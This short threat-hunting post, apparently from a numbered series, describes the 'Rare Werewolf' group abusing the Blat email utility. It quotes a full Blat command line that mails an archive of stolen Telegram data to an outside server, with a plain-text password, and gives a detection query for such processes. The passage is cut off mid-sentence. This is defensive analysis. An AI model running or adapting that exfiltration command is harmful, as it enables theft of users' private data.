098. Adversaries Keep Abusing Blat for Data Exfiltration
Hello everyone! Today I decided to share some information on an interesting exfiltration tool abused by Rare Werewolf . It's called Blat. It's been used by this activity cluster for quite a long time, here's an example : blat.exe -to in@vniir.nl -f "TELEGRAM<sent1@vniir.nl>" -server mail.vniir.nl -port 587 -u sent1@vniir.nl -pw fuFhDK3anVteQCvfVQWk -subject "Telegram 927537/user" -body "Telegram 927537/user" -attach "C:\Users\user\Window\tdata.rar" As you can see, tha adversary uses this tool to exfiltrate collected Telegram messenger data. So, yes, Blat is just a small legitimate utility enabling the threat actors to send collected data via email! We can hunt for such behaviors focusing on credentials and attachments: event_type: "processcreatewin" AND proc_file_originalfilename: "blat.exe" AND cmdline: ("u" AND "pw" AND "attach") By the way, the sample have even more interestin...